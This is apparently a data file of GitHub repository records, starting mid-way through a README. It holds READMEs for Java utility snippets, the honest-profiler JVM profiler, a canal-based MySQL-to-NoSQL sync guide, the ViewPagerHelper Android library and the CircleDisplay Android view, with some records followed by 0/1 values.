input.substring(0, Math.negateExact(num)) + input.substring(Math.negateExact(num), length).replaceAll(".", mask); } ``` ### reverseString Reverses a string. ```java public static String reverseString(String input) { return new StringBuilder(input).reverse().toString(); } ``` ### sortCharactersInString Alphabetically sorts the characters in a string. ```java public static String sortCharactersInString(String input) { return Arrays.stream(input.split("")).sorted().collect(Collectors.joining()); } ``` ### splitLines Splits a multiline string into an array of lines. ```java public static String[] splitLines(String input) { return input.split("\\r?\\n"); } ``` ### toCamelCase Converts a string to camelcase. ```java public static String toCamelCase(String input) { Matcher matcher = Pattern.compile("[A-Z]{2,}(?=[A-Z][a-z]+[0-9]*|\\b)|[A-Z]?[a-z]+[0-9]*|[A-Z]|[0-9]+").matcher(input); List<String> matchedParts = new ArrayList<>(); while (matcher.find()) { matchedParts.add(matcher.group(0)); } String s = matchedParts.stream() .map(x -> x.substring(0, 1).toUpperCase() + x.substring(1).toLowerCase()) .collect(Collectors.joining()); return s.substring(0, 1).toLowerCase() + s.substring(1); } ``` ### toKebabCase Converts a string to kebab case. ```java public static String toKebabCase(String input) { Matcher matcher = Pattern.compile("[A-Z]{2,}(?=[A-Z][a-z]+[0-9]*|\\b)|[A-Z]?[a-z]+[0-9]*|[A-Z]|[0-9]+").matcher(input); List<String> matchedParts = new ArrayList<>(); while (matcher.find()) { matchedParts.add(matcher.group(0)); } return matchedParts.stream() .map(String::toLowerCase) .collect(Collectors.joining("-")); } ``` ### match ```java public static List<String> match(String input, String regex) { Matcher matcher = Pattern.compile(regex).matcher(input); List<String> matchedParts = new ArrayList<>(); while (matcher.find()) { matchedParts.add(matcher.group(0)); } return matchedParts; } ``` ### toSnakeCase Converts a string to snake case. ```java public static String toSnakeCase(String input) { Matcher matcher = Pattern.compile("[A-Z]{2,}(?=[A-Z][a-z]+[0-9]*|\\b)|[A-Z]?[a-z]+[0-9]*|[A-Z]|[0-9]+").matcher(input); List<String> matchedParts = new ArrayList<>(); while (matcher.find()) { matchedParts.add(matcher.group(0)); } return matchedParts.stream() .map(String::toLowerCase) .collect(Collectors.joining("_")); } ``` ### truncateString Truncates a string up to a specified length. ```java public static String truncateString(String input, int num) { return input.length() > num ? input.substring(0, num > 3 ? num - 3 : num) + "..." : input; } ``` ### words Converts a given string into an array of words. ```Java public static String[] words(String input) { return Arrays.stream(input.split("[^a-zA-Z-]+")) .filter(s -> !s.isEmpty()) .toArray(String[]::new); } ``` ### stringToIntegers Converts a String of numbers separated by space to an array of ints. ```Java public static int[] stringToIntegers(String numbers) { return Arrays.stream(numbers.split(" ")).mapToInt(Integer::parseInt).toArray(); } ``` ## IO ### convertInputStreamToString Converts InputStream to a String. ```java public static String convertInputStreamToString(final InputStream in) throws IOException { ByteArrayOutputStream result = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int length; while ((length = in.read(buffer)) != -1) { result.write(buffer, 0, length); } return result.toString(StandardCharsets.UTF_8.name()); } ``` ### readFileAsString Reads content of a file to a String ```java public String readFileAsString(Path path) throws IOException { return new String(Files.readAllBytes(path)); } ``` ### getCurrentWorkingDirectoryPath ```java public static String getCurrentWorkingDirectoryPath() { return FileSystems.getDefault().getPath("").toAbsolutePath().toString(); } ``` ### tmpDirName Returns the value of `java.io.tmpdir` system property. It appends separator if not present at the end. ```java public static String tmpDirName() { String tmpDirName = System.getProperty("java.io.tmpdir"); if (!tmpDirName.endsWith(File.separator)) { tmpDirName += File.separator; } return tmpDirName; } ``` ## Exception ### stackTraceAsString Converts exception stack trace to a String. ```java public static String stackTraceAsString(final Throwable throwable) { final StringWriter sw = new StringWriter(); throwable.printStackTrace(new PrintWriter(sw)); return sw.toString(); } ``` ## System ### osName Gets the name of the operating system as a lower case String. ```java public static String osName() { return System.getProperty("os.name").toLowerCase(); } ``` ### isDebuggerEnabled Checks if debugger is attached to the JVM. ```java public static boolean isDebuggerAttached() { final RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean(); return runtimeMXBean.getInputArguments() .stream() .anyMatch(arg -> arg.contains("-agentlib:jdwp")); } ``` ## Class ### getAllInterfaces This methods returns all the interfaces implemented by the given class and its superclasses. This method works by concatenating two streams. The first stream is recursively built by creating a stream with the interface and all the interfaces implemented by the the interface. The second stream does the same for the super classes. The result is the concatenation of the two streams after removing the duplicates. ```java public static List<Class<?>> getAllInterfaces(Class<?> cls) { return Stream.concat( Arrays.stream(cls.getInterfaces()).flatMap(intf -> Stream.concat(Stream.of(intf), getAllInterfaces(intf).stream())), cls.getSuperclass() == null ? Stream.empty() : getAllInterfaces(cls.getSuperclass()).stream() ).distinct().collect(Collectors.toList()); } ``` ### isInnerClass This method checks if the specified class is an inner class or static nested class ```Java public static boolean isInnerClass(final Class<?> cls) { return cls != null && cls.getEnclosingClass() != null; } ``` ## Enum ### getEnumMap Converts to enum to Map where key is the name and value is Enum itself. ```java public static <E extends Enum<E>> Map<String, E> getEnumMap(final Class<E> enumClass) { return Arrays.stream(enumClass.getEnumConstants()) .collect(Collectors.toMap(Enum::name, Function.identity())); } ``` ## In News 1. Jetbrains Java Annotated Monthly covered little-java-functions in their [January newsletter](https://blog.jetbrains.com/idea/2018/01/java-annotated-monthly-january-2018/). 2. JavaChannel podcast covered little-java-functions in their [episode 11](https://javachannel.org/posts/javachannels-interesting-links-podcast-episode-11/). 3. little-java-functions was Github trending repository on 8th January 2018. ## Thanks This project started as a Java fork of [30-seconds-of-code](https://github.com/Chalarangelo/30-seconds-of-code). Thanks to the project collaborators for the effort.
0
jvm-profiling-tools/honest-profiler
A sampling JVM profiler without the safepoint sample bias
null
honest-profiler =============== [![Build Status](https://travis-ci.org/jvm-profiling-tools/honest-profiler.svg?branch=master)](https://travis-ci.org/jvm-profiling-tools/honest-profiler) A usable and honest profiler for the JVM. For documentation please refer to [The Wiki](https://github.com/RichardWarburton/honest-profiler/wiki) * [Download the Binary](http://insightfullogic.com/honest-profiler.zip) * [How to Build](https://github.com/RichardWarburton/honest-profiler/wiki/How-to-build)
1
liukelin/canal_mysql_nosql_sync
基于canal 的 mysql 与 redis/memcached/mongodb 的 nosql 数据实时同步方案 案例 demo canal client
binlog canal canal-mysql mysql sync
下图是最基本的web服务器的结构图。 ![image](https://github.com/liukelin/canal_mysql_nosql_sync/raw/master/img/system-image.png) 基于 Canal 的 MySql RabbitMQ Redis/memcached/mongodb 的nosql同步 (多读、nosql延时不严格 需求) 1.mysql主从配置 2.对mysql binlog(row) parser 这一步交给canal 3.MQ对解析后binlog增量数据的推送 4.对MQ数据的消费(接收+数据解析,考虑消费速度,MQ队列的阻塞) 5.数据写入/修改到nosql (redis的主从/hash分片) 6.保证对应关系的简单性:一个mysql表对应一个 redis实例(redis单线程,多实例保证分流不阻塞),关联关系数据交给接口业务 数据:mysql->binlog->MQ->redis(不过期、关闭RDB、AOF保证读写性能) (nosql数据仅用crontab脚本维护) 请求:http->webserver->redis(有数据)->返回数据 (完全避免用户直接读取mysql) ->redis(无数据)->返回空 7.可将它视为一个触发器,binlog为记录触发事件,canal的作用是将事件实时通知出来,并将binlog解析成了所有语言可读的工具。 在事件传输的各个环节 提高 可用性 和 扩展性 (加入MQ等方法)最终提高系统的稳定。 传统 Mysql Redis/memcached nosql的缓存 (业务同步) 从cache读取数据-> 1.对数据在mysql的hash算法分布(db/table/分区),每个hash为节点(nosql数据全部失效时候,可保证mysql各节点可支持直接读取的性能) 2.mysql主从 3.nosql数据的hash算法分布(多实例、DB),每个hash为节点 4.nosql数据震荡处理 (当某节点挂了寻找替代节点算法(多层hash替代节点)。。。) 5.恢复节点数据 6.请求:http->webserver->【对key计算一致性hash节点】->connect对应的redis实例 ->1.redis(有数据)-> 返回数据 ->2.redis(无数据)-> mysql (并写入数据redis) -> 返回数据 ->3.redis节点挂掉-> 业务寻址hash替代节点 -> 3.1 redis(有数据) -> 返回数据 -> 3.2 redis(无数据) -> mysql(并写入数据redis) -> 返回数据 ![image](https://github.com/liukelin/canal_mysql_nosql_sync/raw/master/img/canal-mysql-nosql.png) 为什么要使用消息队列(MQ)进行binlog传输: 1.增加缓冲,binlog生产端(canal client)只负责生产而不需要考虑消费端的消费能力, 不等待阻塞。 2.binlog 消费端: 可实时根据MQ消息的堆积情况,动态 增加/减少 消费端的数量,达到合理的资源利用和消费 部署: 阿里canal纯java开发,所以要先安装java环境 安装jdk(推荐jdk1.8): 安装过程参考网上资料,(注意环境变量配置) mysql配置: 1.编辑mysql配置文件 $ sudo vim /etc/my.cnf [mysqld] log-bin=mysql-bin #binlog文件名(也可以使用绝对路径) binlog-format=ROW #选择row模式 server_id=1 #实例唯一ID,不能和canal的slaveId重复 保存并退出,并重启mysql $ sudo service mysql restart 2.创建 mysql账号密码(账号密码自定 权限自定) CREATE USER canal IDENTIFIED BY 'canal'; GRANT SELECT, REPLICATION SLAVE, REPLICATION CLIENT ON *.* TO 'canal'@'%'; -- GRANT ALL PRIVILEGES ON *.* TO 'canal'@'%' ; FLUSH PRIVILEGES; canal server 配置启动: canal server 模拟mysql从库并向mysql发送dump命令获取mysql binlog数据。 1.下载解压项目,这里提供了1.0.22版本: [canal.deployer-1.0.22.tar.gz](https://github.com/liukelin/canal_mysql_nosql_sync/releases) 可从阿里项目下载最新版本 deployer : [https://github.com/alibaba/canal/releases](https://github.com/alibaba/canal/releases) 2.配置项目: # 公共配置 $ sudo vim conf/canal.properties canal.port= 11111 # canal server 运行端口,保证该端口为占用状态,或者使用其他未占用端口 保存退出。 # 实例配置 $ sudo vim conf/example/instance.properties # position info canal.instance.master.address = 127.0.0.1:3306 # mysql连接 canal.instance.dbUsername = canal # mysql账号 canal.instance.dbPassword = canal # 密码 canal.instance.defaultDatabaseName = test # 需要同步的库名 canal.instance.connectionCharset = UTF-8 # mysql编码 保存退出。 更多配置查看: [http://agapple.iteye.com/blog/1831873](http://agapple.iteye.com/blog/1831873) 3.启动: $ sh bin/startup.sh 日志文件: $ less logs/canal/canal.log # canal server端运行日志 $ less logs/example/example.log # canal client端连接日志 $ logs/example/meta.log # 实例binlog 读取记录文件(记录变更位置,默认为新增变更(tail)) canal client 配置启动: canal client将从canal server获取的binlog数据最终以json行格式保存到指定文件(也可省略这步,直接发送到MQ)。 binlog生产端和消费端的之间,增加MQ作为缓冲,增加容错度和动态扩展性 1.下载解压项目,这里自己写了个基于1.0.22版本的项目: [canal_client1.0.22.zip](https://github.com/liukelin/canal_mysql_nosql_sync/releases) 源码查看: [canal-client](https://github.com/liukelin/canal_mysql_nosql_sync/tree/master/canal-client) 2.基本配置 $vim conf/canal.properties # cancal server host, 上面 canal server的IP canal.server.host = 127.0.0.1 # cancal server port,上面 canal server的启动端口 canal.server.port = 11111 # 数据保存路径 ,自行指定 canal.binlog.dir = db_data # 可选rabbitmq/redis/kafka 作为队列(这里使用 rabbitmq 作为队列传输) canal.mq = rabbitmq ###### rabbitmq 基本配置 ##### rabbitmq.host = 127.0.0.1 rabbitmq.port = 5672 rabbitmq.user = test rabbitmq.pass = 123456 保存退出。 3.启动canal client: $ sh start_canal_client.sh 修改mysql数据触发。 最终结果: eventType :操作类型(UPDATE/INSERTDELETE) db: 涉及库 table: 涉及表 before:变更前数据 after: 变更后数据 time: 操作时间 $less db_data/binlog_xxxx.log {"binlog":"mysql-bin.000009:1235","db":"test","table":"users","eventType":"UPDATE","before":{"uid":"8","username":"duobao153713223"},"after":{"uid":"8","username":"duobao153713223"},"time":"2016-08-22 17:47:25"} {"binlog":"mysql-bin.000009:1533","db":"test","table":"users","eventType":"DELETE","before":"","after":{"uid":"8","username":"duobao153713223"},"time":"2016-08-22 17:48:09"} {"binlog":"mysql-bin.000009:1790","db":"test","table":"users","eventType":"INSERT","before":"","after":{"uid":"9","username":"test2"},"time":"2016-08-22 17:48:45"} 消费数据demo:(这里使用python3 消费rabbitmq同步到redis 作为案例,实际可根据业务需求,因为此时所需要的数据已是通用的json格式,无限可能) 流程 :file数据-> MQ -> nosql MQ: rabbitMQ 语言:python3 NoSql: redis 多项目订阅需求,如:client1和client2 需要消费这些数据, 他们得到的数据一样 开始考虑直接用队列: 队列数据: [A, B, C, D] client1 : 消费进程1:获取AB 消费进程2:获取CD client2 : 消费进程1:获取AB 消费进程2:获取CD 这样的话,如果使用rabbitMQ 就必须给每个 client 提供独立的队列。并独立消费 1、使用kafka,利用他的分组group,每个client 为一个组,这样就可保证,数据给每个组一致。 2、对每个项目需求开独立的 canal server instance 和 canal client实例 配置: 语言:python3 pip:pika redis 项目代码: python_sync_nosql 修改配置文件config.py # 最终存储数据redis redis_host = '127.0.0.1' redis_port = 6379 ###### rabbitmq 基本配置 ##### rabbitmq_host = '127.0.0.1' rabbitmq_port = 5672 rabbitmq_user = 'test' rabbitmq_pass = '123456' # 设置对每个table存储使用的key字段 redis_cache_map = { # db 'test':{ # table : kid 'users':'uid', } } 运行脚本: $ python3 startup.py 数据最终存储为Redis 的 hash结构,key为 db_table_id ![image](https://github.com/liukelin/canal_mysql_nosql_sync/raw/master/img/redis-hash.png) 同步到MongoDB同理 这里的demo是将表数据映射到 mongodb 结构 db => db table => 集合 column=> coll ![image](https://github.com/liukelin/canal_mysql_nosql_sync/raw/master/img/mongo.png) ## 目录结构 ~~~ ├─canal-client/ 封装的canal client客户端 和 消息队列MQ 项目 │ ├─src/ 项目代码 │ ├─lib/ jar包依赖 │ ├─conf/ 配置文件 │ ├─canal_client.jar 启动jar │ └─start_canal_client.sh 启动文件 │ ├─python_sync_nosql/ 消费MQ binlog数据, 将数据写入到NoSql demo │ ├─queue_rabbitmq.py rabbitmq 消费端 │ ├─sync_redis.py 写入到redis │ ├─sync_mongo.py 写入到mongo │ ├─config.py 配置 │ └─startup.py 启动入口 └─ ~~~ ## 总结 1.使用MQ作为传输,可提高容错度,并且可以起到一个消费速度的缓冲,在程序上加上对队列积压数据的监控,可实时增加或减少MQ消费进程的数量。 2.为了提高binlog数据的可靠消费,建议使用带有ACK功能的MQ 做为消息队列使用 3.为了避免多进程对MQ消费速度的时序先后不可控,建议binlog数据只作为触发条件(使用id从mysql获取最新数据)作为数据使用,而不作为具体数据使用。 3.1.或者弄一个版本号的服务,对每条消息打上一个唯一的版本号,用版本号来确定是否是最新的数据 4.接下来我会继续完善otter的实际案例 ... ## 其他 这里有个用golang实现的binlog解析的项目: [https://github.com/liukelin/bubod](https://github.com/liukelin/bubod) <h1>资源下载</h1> canal server 服务端deployer: [https://github.com/alibaba/canal/releases/tag/canal-1.0.22](https://github.com/alibaba/canal/releases/tag/canal-1.0.22) canal client 客户端: [https://github.com/liukelin/canal_mysql_nosql_sync/releases/tag/1.0.22.2](https://github.com/liukelin/canal_mysql_nosql_sync/releases/tag/1.0.22.2) 阿里canal项目原始地址:[https://github.com/alibaba/canal](https://github.com/alibaba/canal) 数据消费写入nosql例子: python_sync_nosql 这里是消费rabbitmq数据最终同步到redis 其他说明:[使用canal和canal_mysql_nosql_sync同步mysql数据](https://www.aliyun.com/jiaocheng/1114823.html?spm=5176.100033.2.18.hXjlSb) 使用golang语言开发的版本:[https://github.com/liukelin/bubod](https://github.com/liukelin/bubod)
0
LillteZheng/ViewPagerHelper
这个一个 viewpager/viewpager2工具类,能够帮你快速实现导航栏轮播图,app引导页,viewpager/viewpager2 + fragment;内置多种tab指示器,让你告别 viewpager 的繁琐操作,专注逻辑功能
arc banner banner2 circleindicator fragment-tab-viewpager tabindicator tablayout viewpager viewpager2
你是否有遇到这样的问题,每次开发一个新的项目,在 viewpager 这一块上,总是在做重复的东西,比如app引导页,轮播图, viewpager+fragment 的 tab 指示器等等,这些虽然简单,但却是每个app都要的,而且很耗时,有没有每次在写这个,都很无语的感觉呢? 基于这个,ViewPagerHleper 就诞生了,它可以快速帮你搞定 banner 轮播图,实现高级定制化,内置多种指示器,满足你的日常需求,妈妈再也不用担心我不会复制粘贴了。 [![](https://jitpack.io/v/LillteZheng/ViewPagerHelper.svg)](https://jitpack.io/#LillteZheng/ViewPagerHelpe) ![](https://img.shields.io/github/stars/LillteZheng/ViewPagerHelper.svg) ![](https://img.shields.io/github/forks/LillteZheng/ViewPagerHelper.svg) [![](https://img.shields.io/badge/%E4%BD%9C%E8%80%85-%E9%83%91%E5%B0%91%E9%94%90-green.svg)](https://blog.csdn.net/u011418943) **工程实际使用 - 玩Android 客户端 : https://github.com/LillteZheng/WanAndroid** **注意注意注意!!!** **提问题的时候,请遵循以下标准** - **现象: 操作步骤,应用场景** - **对应代码: 贴图或者贴代码** - **机型或版本: 可选** **后面对描述不清的问题,不予理会,精力有限,感谢理解** 详细内容可以参考这篇博客: http://blog.csdn.net/u011418943/article/details/78493002 ## **使用** 这里用的是 jitpack 这个网站,所以: ``` allprojects { repositories { ... maven { url 'https://jitpack.io' } } } ``` 然后在你的 module 中添加: ``` implementation 'com.github.LillteZheng.ViewPagerHelper:viewpagerlib:v2.9' ``` **如果你使用 androidx 也想要使用 ViewPager2,可以添加 androidx 库** ``` implementation 'com.github.LillteZheng.ViewPagerHelper:viewpagerlibx:v2.9' ``` > ViewPager2 使用的是 BannerViewPager2 这个类,只支持横向的 ViewPager2,竖直的后面有时间再搞 > 使用与 BannerViewPageer 一样,只是多了 **banner2_l_margin和banner2_r_margin**,或者**setMzMargin()** > 去设置一屏多页(魅族)的效果。 ## **效果图** 首先,大家最常用到的就是轮播图了,这里给大家提供了 常用的 Indicator ### **轮播图** <table align="center"> <tr> <th>文字效果</th> <th>扇形效果</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/loop_text.gif" align="left" height="200" width="340" ></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/loop_arc.gif" align="left" height="200" width="340" ></a></td> </tr> </table> <table align="center"> <tr> <th>CircleIndicator</th> <th>RectIndicator</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/circleindicator.gif" align="left" height="600" width="350"></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/rectindicator.gif" align="left" height="600" width="350" ></a></td> </tr> </table> <table align="center"> <tr> <th>图片放大效果</th> <th>卡片效果</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/scale.gif" align="left" height="480" width="340"></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/card.gif" align="left" height="480" width="340" ></a></td> </tr> </table> **跟多说明请参考** [轮播使用说明](https://github.com/LillteZheng/ViewPagerHelper/blob/master/README_Banner.md) ## ~~Tab指示器~~ > TabIndicator 已经不再维护;推荐大家使用新库:https://github.com/LillteZheng/FlowHelper 支持更多效果,功能更强大,且支持自己自定义 <table align="center"> <tr> <th>三角形版本</th> <th>条形状版本</th> <th>文字颜色渐变方式,加了滚动效果</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/tri.gif" align="left" height="480" width="340"></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/rect2.gif" align="left" height="480" width="340" ></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/color.gif" align="left" height="480" width="340" ></a></td> </tr> </table> **https://github.com/LillteZheng/FlowHelper 的效果如下:** <table align="center"> <tr> <th>没有结合ViewPager</th> <th>结合ViewPager</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/FlowHelper/raw/master/gif/tab_click.gif" align="left"height="789" width="479"></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/FlowHelper/raw/master/gif/tab_viewpager.gif" align="left" height="789" width="479" ></a></td> </tr> </table> [Tab指示器使用说明](https://github.com/LillteZheng/ViewPagerHelper/blob/master/README_TAB.md) ## **弧形图片,支持高斯模糊** <table align="center"> <tr> <th>弧形图片</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/arc.png" align="left" height="480" width="340"></a></td> </tr> </table> ## 版本说明 **v2.9** - 添加 Androidx lib,支持viewpager2 - 修复card mode 快速滑报错问题 **v2.7** - 处理设置 setCurrentPosition 的问题 **v2.6** - 处理刷新时,indicator 成倍增加,以及动画和位置不是从头再来的问题 **v2.1** - 大改动,去掉了之前很多无用代码和逻辑 - Indicator 效果全部统一到了 CircleIndicator 和 RectIndicator,其他的去掉 - BannerViewPager 增加 setCurrentPosition(int page) 默认选中第几页方法 - BannerViewPager 修复和 Recyclerview 结合,移除窗口后回来,滚动失败的问题 **v1.9** - 处理TabIndicator第一次没加载数据报错和优化部分代码 **v1.8** - 修改ArcImageView - 增加缩放因子 - 增加缩放中心点坐标 **v1.7** - 修改ArcImageView - arcHeight 支持负数,凹进去,方便在user界面使用 - 增加高斯模糊,arc_blur ,对应参数0到25 - 支持使用背景色,采用arc_use_color **v1.6** - ArcImageView 去掉scaleType中的 matrix 属性 **v1.5** - 修改了BannerViewpager 的一些自定说明,避免歧义,小伙伴记得更新呀 - 自定义控件,全部增加动态设置参数接口,写得好累啊 - BannerViewpager 增加了卡片式布局的效果 - 优化Readme说明 **其他版本** - **v1.4 --> 添加ScaleImageView可缩放控件,可支持在viewpager等滑动控件中使用** - **v1.3 --> TabIndicator 支持滚动,app:tab_iscanscroll 默认true滚动,可设置不滚动** - **v0.9 --> 处理第一次轮播图 index 不对问题,优化代码** - **v0.8 --> 退出时自动关轮播,isOutVisiableWindow()方法,用于有滚动时,判断是否停止轮播** - **v0.5 --> 增加 banner_loop_max_count 变量,当数据大于这个数值时,才会填充多个数据和轮播** - **v0.4 --> 解决app引导页,快速滑动时,“立即体验”按钮会不显示问题,并修改自定义属性,防止干扰** - **v0.3 --> 从lib中移除glide的依赖,防止干扰其他项目,去掉和优化一些代码,谢谢各位的提醒** - **v0.2 --> 修复TabIndicator的宽度,不是 match_parent时,通过SetTabData添加数据,却显示不全的问题** - **v0.1 --> 发布稳定版** ## QQ群 为方便大家交流,创建了一个qq群,群号216618259 <img src="https://img-blog.csdnimg.cn/20210518100138264.jpeg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTE0MTg5NDM=,size_16,color_FFFFFF,t_70#pic_center" height="320" width="240"> ## 如果该项目对您有帮助,赞赏一下吧 ^_^ <img src="https://github.com/LillteZheng/FlowHelper/raw/master/gif/wechat.png" height="320" width="240"> 下面可以看一下自定义的属性,方便大家在用的时候调用: **一些自定义属性:** **BannerViewPager** | 名称 | 类型 |说明 | |---|---|---| |banner_isAutoLoop|boolean|是否自动轮播| |banner_looptime|integer|轮播的时间| |banner_switchtime|integer|viewpager的切换速度| |banner_loop_max_count|integer|超过这个数字时,才会轮播效果| |banner_card_height|integer,dimension|卡片的高度| |banner_iscycle|boolean|是否循环| |banner_transformer|card,mz,zoom,depath|transformer的效果| |banner2_l_margin|dimension|Viewpager2专属,左边偏移量| |banner2_r_margin|dimension|Viewpager2专属,右边偏移量| **CircleIndicator** | 名称 | 类型 |说明 | |---|---|---| |cir_type|integer|效果,支持3中,normal、cirToRect、scale| |cir_normalColor|color|默认的颜色| |cir_selectedColor|color|选中时的颜色| |cir_horizon_margin|dimension|两个小圆球的距离| |cir_size|dimension|小球的大小| |cir_rect_width|dimension|当type为 cirToRect时,矩形的宽度| |cir_scale_factor|float|当type 为scale,放大倍数| |cir_canMove|boolean|是否可移动,默认支持移动| **RectIndicator** | 名称 | 类型 |说明 | |---|---|---| |rect_normalColor|color|默认的颜色| |rect_selectedColor|color|选中时的颜色| |rect_horizon_margin|dimension|两个矩形的距离| |rect_width|dimension|矩形的宽度| |rect_height|dimension|矩形的高度| |rect_round_size|dimension|矩形的圆角| |rect_canMove|boolean|是否可移动,默认支持移动| **TextIndicator** 其实就是一个 textview ,自己配置大小颜色和背景即可 **弧形图片 ArcImageView** | 名称 | 类型 |说明 | |---|---|---| |arc_height|dimension|弧度的高度| |arc_blur|integer|图片的模糊度,0到25| |arc_use_color|color,reference|是否使用背景色| |arc_scaleX|dimension|缩放中心点X方向| |arc_scaleY|dimension|缩放中心点Y方向| |arc_scaleFactor|float|缩放比例| |arc_auto_fix|boolean|自动适配大小,如果用glide,可以忽略,默认为true| **顶部viewpager指示器 TabIndicator** | 名称 | 类型 |说明 | |---|---|---| |visiabel_size|integer|可视化个数,比如有一排,我们就只要显示4个| |tab_color|color,reference|指示器的颜色| |tab_show|boolean|是否显示指示器| |tab_text_type|normaltext,colortext|顶部文字的类型,nromaltext为普通的textview,corlortext为文件渐变| |tab_width|dimension|指示器的宽度| |tab_height|dimension|指示器的高度| |tab_textsize|dimension|顶部文字的大小| |tab_text_default_color|color,reference|顶部文字默认的颜色| |tab_text_change_color|color,reference|移动时,顶部文字的颜色| |tap_type|tri,rect|指示器类型,有三角形或者圆条| |tab_iscanscroll|boolean|指示器是否支持滚动| **渐变文字 ColorTextVIew** | 名称 | 类型 |说明 | |---|---|---| |colortext_size|dimension|文字大小| |colortext_default_color|reference,color|默认颜色| |colortext_change_color|reference,color|渐变颜色| **缩放控件 ScaleImageView** | 名称 | 类型 |说明 | |---|---|---| |scale_auto_time|reference,integer|双击时,达到放大的时间| |scale_limit_board|boolean|是否限制边界,即不能缩放到比控件小| |scale_autofit|boolean|自动适配缩放值,有些图片是正方形,如果你的高度没设定好,建议设置为false,不能会变形| |scale_double_factor|integer|双击时放大倍数| |scale_max_factor|integer|可放大的最大倍数| |scale_interrupt_parent_touch|boolean|是否截获父控件触摸事件,放大时,需要截取,不然无法移动| 如果你有想要的效果,而本项目中没有的,你可以在 issue 中提出来,作者看到了,会抽空去实现的, 如果有发现问题了或者需要提供哪些接口出来,也可以在 issue 中提出来。当然,喜欢请 start 或 fork 来一波。 代码是最好的老师,可以download,改成自己喜欢的。
0
xuruoxuan/kkkajs
my js project
null
CircleDisplay ============= Android View for displaying and selecting (by touch) values / percentages in a circle-shaped View, with animations. Features ======= **Core features:** - Displaying values in a beautiful circle shaped View - Supports percentage and normal values - Selecting / Choosing values with touch gestures (including callbacks) - Fully customizeable - Animated drawing (bar representig the value fills up animated) <img src="https://raw.github.com/PhilJay/CircleDisplay/master/screenshots/circle_display.png" width="450"> ![alt tag](https://raw.github.com/PhilJay/CircleDisplay/master/screenshots/circledisplay_demo.gif) Usage ======= Simply **copy the CircleDisplay.java** file into your project. No annoying library imports, you **ONLY** need that single file. For using the <code>CircleDisplay</code>, define it in .xml: ```xml <com.philjay.circledisplay.CircleDisplay android:id="@+id/circleDisplay" android:layout_width="match_parent" android:layout_height="match_parent" /> ``` ```java CircleDisplay cd = (CircleDisplay) findViewById(R.id.circleDisplay); ``` or create it in code: ```java CircleDisplay cd = new CircleDisplay(Context); ``` **Style** your <code>CircleDisplay</code>, and **show values**. **Styling methods:** - <code>setColor(int color)</code>: Use this method to set the color for the arc/bar that represents the value. You can either use <code>Color.COLORNAME</code> as a parameter or <code>getColor(resid)</code>. - <code>setStartAngle(float angle)</code>: Set the starting angle of your arc/bar. By default, it starts at the top of the view (270°). - <code>setAnimDuration(int millis)</code>: Set the duration in milliseconds it takes to animate/build up the bar. - <code>setTextSize(float size)</code>: Set the size of the text in the center of the view. - <code>setValueWidthPercent(float percentFromTotalWidth)</code>: Set the width of the value bar/arc in percent of the circle radius. - <code>setFormatDigits(int digits)</code>: Sets the number of digits to use for the value in the center of the view. - <code>setDimAlpha(int alpha)</code>: Value between 0 and 255 indicating the alpha value used for the remainder of the value-arc. - <code>setDrawText(boolean enabled)</code>: If enabled, center text (containing value and unit) is drawn. - <code>setPaint(int which, Paint p)</code>: Sets a new <code>Paint</code> object instead of the default one. Use <code>CircleDisplay.PAINT_TEXT</code> for example to change the text paint used. - <code>setUnit(String unit)</code>: Sets a unit that is displayed in the center of the view. E.g. "%" or "€" or whatever it is you want the circle-display to represent. - <code>setStepSize(float stepsize)</code>: Sets the stepsize (minimum selection interval) of the circle display, default 1f. It is recommended to make this value not higher than 1/5 of the maximum selectable value, and not lower than 1/200 of the maximum selectable value. For example, if a maximum of 100 has been chosen, a stepsize between 0.5 and 20 is recommended. - <code>setCustomText(String[] custom)</code>: Sets an array of custom Strings to be drawn instead of the actual value in the center of the CircleDisplay. If set to null, the custom text will be reset and the value will be drawn. Make sure the length of the array corresponds with the maximum number of steps (maxvalue / stepsize). **Showing stuff:** - <code>public void showValue(float toShow, float total, boolean animated)</code>: Shows the given value. A maximumvalue also needs to be provided. Set animated to true to animate the displaying of the value. **Selecting values:** - **IMPORTANT** for selecting values <code>onTouch()</code>: Make sure to call <code>showValue(...)</code> at least once before trying to select values by touching. This is needed to set a maximum value that can be chosen on touch. Calling <code>showValue(0, 1000, false)</code> before touching as an example will allow the user to choose a value between 0 and 1000, default 0. - <code>setTouchEnabled(boolean enabled)</code>: Set this to true to allow touch-gestures / selecting. - <code>setSelectionListener(SelectionListener l)</code>: Set a <code>SelectionListener</code> for callbacks when selecting values with touch-gestures. **Full example:** ```java CircleDisplay cd = (CircleDisplay) findViewById(R.id.circleDisplay); cd.setAnimDuration(3000); cd.setValueWidthPercent(55f); cd.setTextSize(36f); cd.setColor(Color.GREEN); cd.setDrawText(true); cd.setDrawInnerCircle(true); cd.setFormatDigits(1); cd.setTouchEnabled(true); cd.setSelectionListener(this); cd.setUnit("%"); cd.setStepSize(0.5f); // cd.setCustomText(...); // sets a custom array of text cd.showValue(75f, 100f, true); ``` License ======= Copyright 2014 Philipp Jahoda Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES 